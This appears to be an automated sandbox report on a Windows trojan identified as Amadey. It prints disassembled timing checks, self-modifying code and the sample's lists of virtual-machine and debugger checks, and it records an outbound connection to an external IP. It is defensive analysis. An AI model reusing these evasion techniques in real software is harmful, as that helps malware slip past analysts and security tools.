Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0FF9 second address: 75C1016 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E599h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C108D second address: 75C109C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C109C second address: 75C10E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 747Ah 0x00000007 mov bh, 5Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [ebp-14h] 0x0000000f pushad 0x00000010 call 00007F7B2139E598h 0x00000015 mov edx, esi 0x00000017 pop esi 0x00000018 mov esi, edx 0x0000001a popad 0x0000001b mov ecx, esi 0x0000001d pushad 0x0000001e mov ah, dh 0x00000020 mov cx, E6D7h 0x00000024 popad 0x00000025 mov dword ptr [esi+0Ch], eax 0x00000028 pushad 0x00000029 movzx eax, dx 0x0000002c push eax 0x0000002d push edx 0x0000002e call 00007F7B2139E58Bh 0x00000033 pop ecx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C10E9 second address: 75C1144 instructions: 0x00000000 rdtsc 0x00000002 mov dh, F7h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov edx, 759B06ECh 0x0000000c jmp 00007F7B20B24F80h 0x00000011 sub eax, eax 0x00000013 jmp 00007F7B20B24F81h 0x00000018 lock cmpxchg dword ptr [edx], ecx 0x0000001c jmp 00007F7B20B24F7Eh 0x00000021 pop edi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F7B20B24F87h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C1144 second address: 75C116A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test eax, eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7B2139E598h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C116A second address: 75C11F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F7B8EE934D9h 0x0000000f jmp 00007F7B20B24F86h 0x00000014 mov edx, dword ptr [ebp+08h] 0x00000017 jmp 00007F7B20B24F80h 0x0000001c mov eax, dword ptr [esi] 0x0000001e pushad 0x0000001f mov si, 3FEDh 0x00000023 pushfd 0x00000024 jmp 00007F7B20B24F7Ah 0x00000029 adc cx, 9388h 0x0000002e jmp 00007F7B20B24F7Bh 0x00000033 popfd 0x00000034 popad 0x00000035 mov dword ptr [edx], eax 0x00000037 pushad 0x00000038 mov ecx, ebx 0x0000003a popad 0x0000003b mov eax, dword ptr [esi+04h] 0x0000003e pushad 0x0000003f mov edi, 6984C7CEh 0x00000044 mov si, bx 0x00000047 popad 0x00000048 mov dword ptr [edx+04h], eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F7B20B24F7Ch 0x00000052 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C11F0 second address: 75C11F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C11F6 second address: 75C11FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C11FA second address: 75C12B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+08h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F7B2139E58Fh 0x00000012 sbb cx, 55DEh 0x00000017 jmp 00007F7B2139E599h 0x0000001c popfd 0x0000001d mov ch, 50h 0x0000001f popad 0x00000020 mov dword ptr [edx+08h], eax 0x00000023 pushad 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 jmp 00007F7B2139E595h 0x0000002c popad 0x0000002d jmp 00007F7B2139E590h 0x00000032 popad 0x00000033 mov eax, dword ptr [esi+0Ch] 0x00000036 jmp 00007F7B2139E590h 0x0000003b mov dword ptr [edx+0Ch], eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 call 00007F7B2139E58Dh 0x00000046 pop eax 0x00000047 pushfd 0x00000048 jmp 00007F7B2139E591h 0x0000004d adc ecx, 115CD186h 0x00000053 jmp 00007F7B2139E591h 0x00000058 popfd 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C12B8 second address: 75C12BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C12BD second address: 75C12F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 1310h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esi+10h] 0x0000000e jmp 00007F7B2139E58Fh 0x00000013 mov dword ptr [edx+10h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F7B2139E595h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C12F4 second address: 75C13A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 8ED2h 0x00000007 push ebx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esi+14h] 0x0000000f pushad 0x00000010 mov di, 7AF6h 0x00000014 mov di, 5082h 0x00000018 popad 0x00000019 mov dword ptr [edx+14h], eax 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F7B20B24F7Fh 0x00000023 adc cl, 0000007Eh 0x00000026 jmp 00007F7B20B24F89h 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007F7B20B24F80h 0x00000032 xor ax, 2678h 0x00000037 jmp 00007F7B20B24F7Bh 0x0000003c popfd 0x0000003d popad 0x0000003e mov eax, dword ptr [esi+18h] 0x00000041 pushad 0x00000042 mov edx, eax 0x00000044 mov ecx, 55E57FA7h 0x00000049 popad 0x0000004a mov dword ptr [edx+18h], eax 0x0000004d jmp 00007F7B20B24F7Ah 0x00000052 mov eax, dword ptr [esi+1Ch] 0x00000055 pushad 0x00000056 pushad 0x00000057 pushad 0x00000058 popad 0x00000059 pushfd 0x0000005a jmp 00007F7B20B24F7Ah 0x0000005f add esi, 2C649008h 0x00000065 jmp 00007F7B20B24F7Bh 0x0000006a popfd 0x0000006b popad 0x0000006c push eax 0x0000006d push edx 0x0000006e mov dx, cx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C13A4 second address: 75C13D7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F7B2139E592h 0x00000008 and ecx, 5788B268h 0x0000000e jmp 00007F7B2139E58Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov dword ptr [edx+1Ch], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C13D7 second address: 75C13DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C13DB second address: 75C13E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C13E1 second address: 75C1432 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7B20B24F88h 0x00000009 and ecx, 452FAFF8h 0x0000000f jmp 00007F7B20B24F7Bh 0x00000014 popfd 0x00000015 jmp 00007F7B20B24F88h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov eax, dword ptr [esi+20h] 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C1432 second address: 75C1436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C1436 second address: 75C143A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C1540 second address: 75C1546 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C1546 second address: 75C154C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C154C second address: 75C1550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C1550 second address: 75C1584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ax, word ptr [esi+30h] 0x0000000c pushad 0x0000000d mov dx, cx 0x00000010 mov ebx, esi 0x00000012 popad 0x00000013 mov word ptr [edx+30h], ax 0x00000017 pushad 0x00000018 mov eax, 2DF37DB3h 0x0000001d mov ah, 42h 0x0000001f popad 0x00000020 mov ax, word ptr [esi+32h] 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F7B20B24F7Eh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C1584 second address: 75C1640 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E58Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [edx+32h], ax 0x0000000d pushad 0x0000000e mov edi, eax 0x00000010 mov ch, 71h 0x00000012 popad 0x00000013 mov eax, dword ptr [esi+34h] 0x00000016 pushad 0x00000017 jmp 00007F7B2139E599h 0x0000001c pushfd 0x0000001d jmp 00007F7B2139E590h 0x00000022 or esi, 00574C78h 0x00000028 jmp 00007F7B2139E58Bh 0x0000002d popfd 0x0000002e popad 0x0000002f mov dword ptr [edx+34h], eax 0x00000032 jmp 00007F7B2139E596h 0x00000037 test ecx, 00000700h 0x0000003d jmp 00007F7B2139E590h 0x00000042 jne 00007F7B8F70C690h 0x00000048 jmp 00007F7B2139E590h 0x0000004d or dword ptr [edx+38h], FFFFFFFFh 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F7B2139E597h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C1640 second address: 75C1667 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or dword ptr [edx+3Ch], FFFFFFFFh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C1667 second address: 75C166B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C166B second address: 75C167E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C167E second address: 75C1690 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, A8h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 or dword ptr [edx+40h], FFFFFFFFh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov eax, edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C1690 second address: 75C16DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 pushfd 0x00000006 jmp 00007F7B20B24F89h 0x0000000b xor ecx, 2C3EDBF6h 0x00000011 jmp 00007F7B20B24F81h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F7B20B24F7Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C16DA second address: 75C16E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C16E0 second address: 75C16E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C16E4 second address: 75C16E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 7610D03 second address: 7610D09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 7610D09 second address: 7610D0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 7610D0F second address: 7610D27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 7610D27 second address: 7610D68 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movsx ebx, cx 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F7B2139E591h 0x00000010 xchg eax, ebp 0x00000011 jmp 00007F7B2139E58Eh 0x00000016 mov ebp, esp 0x00000018 jmp 00007F7B2139E590h 0x0000001d pop ebp 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75B0824 second address: 75B082A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSpecial instruction interceptor: First address: 157D8A6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSpecial instruction interceptor: First address: 157D991 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSpecial instruction interceptor: First address: 171FAFD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSpecial instruction interceptor: First address: 171F74E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSpecial instruction interceptor: First address: 174D7BE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSpecial instruction interceptor: First address: 17ACE4C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDescJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersionJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersionJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_01149980 rdtsc 0_2_01149980
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeWindow / User API: threadDelayed 1541Jump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeWindow / User API: threadDelayed 1507Jump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeWindow / User API: threadDelayed 1573Jump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exe TID: 1856Thread sleep count: 52 > 30Jump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exe TID: 1856Thread sleep time: -104052s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exe TID: 4068Thread sleep count: 46 > 30Jump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exe TID: 4068Thread sleep time: -92046s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exe TID: 6536Thread sleep count: 1541 > 30Jump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exe TID: 6536Thread sleep time: -3083541s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exe TID: 6592Thread sleep count: 1507 > 30Jump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exe TID: 6592Thread sleep time: -3015507s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exe TID: 6152Thread sleep count: 1573 > 30Jump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exe TID: 6152Thread sleep time: -3147573s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F6255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_00F6255D
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F629FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,0_2_00F629FF
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F6255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_00F6255D
Source: Ry6ot1YULB.exe, Ry6ot1YULB.exe, 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Ry6ot1YULB.exe, 00000000.00000003.2700779890.0000000001D5B000.00000004.00000020.00020000.00000000.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2723164163.0000000001D90000.00000004.00000020.00020000.00000000.sdmp, Ry6ot1YULB.exe, 00000000.00000002.2728432110.0000000001DA0000.00000004.00000020.00020000.00000000.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2722839659.0000000001D83000.00000004.00000020.00020000.00000000.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2723121697.0000000001D88000.00000004.00000020.00020000.00000000.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2723256606.0000000001D9F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllGo+E
Source: Ry6ot1YULB.exeBinary or memory string: Hyper-V RAW
Source: Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Ry6ot1YULB.exe, 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSystem information queried: ModuleInformationJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeProcess information queried: ProcessInformationJump to behavior

Anti Debugging

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeThread information set: HideFromDebuggerJump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeOpen window title or class name: regmonclass
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeOpen window title or class name: gbdyllo
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeOpen window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeOpen window title or class name: ollydbg
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeOpen window title or class name: filemonclass
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeFile opened: NTICE
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeFile opened: SICE
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeFile opened: SIWVID
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_01149980 rdtsc 0_2_01149980
Source: Ry6ot1YULB.exe, Ry6ot1YULB.exe, 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: PProgram Manager
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: procmon.exe
Source: Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: wireshark.exe

Stealing of Sensitive Information

barindex
Infostealer behavior detected
Source: Signature ResultsSignatures: Mutex created, HTTP post and idle behavior
Leaks process information
Source: global trafficTCP traffic: 192.168.2.5:49705 -> 194.87.47.113:80

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
Command and Scripting Interpreter		1
DLL Side-Loading		1
Process Injection		24
Virtualization/Sandbox Evasion		OS Credential Dumping751
Security Software Discovery		1
Exploitation of Remote Services		11
Archive Collected Data		11
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
DLL Side-Loading		1
Process Injection		LSASS Memory24
Virtualization/Sandbox Evasion		Remote Desktop Protocol1
Data from Local System		2
Ingress Tool Transfer		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
Deobfuscate/Decode Files or Information		Security Account Manager13
Process Discovery		SMB/Windows Admin SharesData from Network Shared Drive3
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook3
Obfuscated Files or Information		NTDS1
Application Window Discovery		Distributed Component Object ModelInput Capture4
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script12
Software Packing		LSA Secrets1
Remote System Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
DLL Side-Loading		Cached Domain Credentials1
File and Directory Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup ItemsCompile After DeliveryDCSync216
System Information Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
Ry6ot1YULB.exe61%ReversingLabsWin32.Trojan.Amadey
Ry6ot1YULB.exe100%AviraTR/Crypt.TPM.Gen
Ry6ot1YULB.exe100%Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

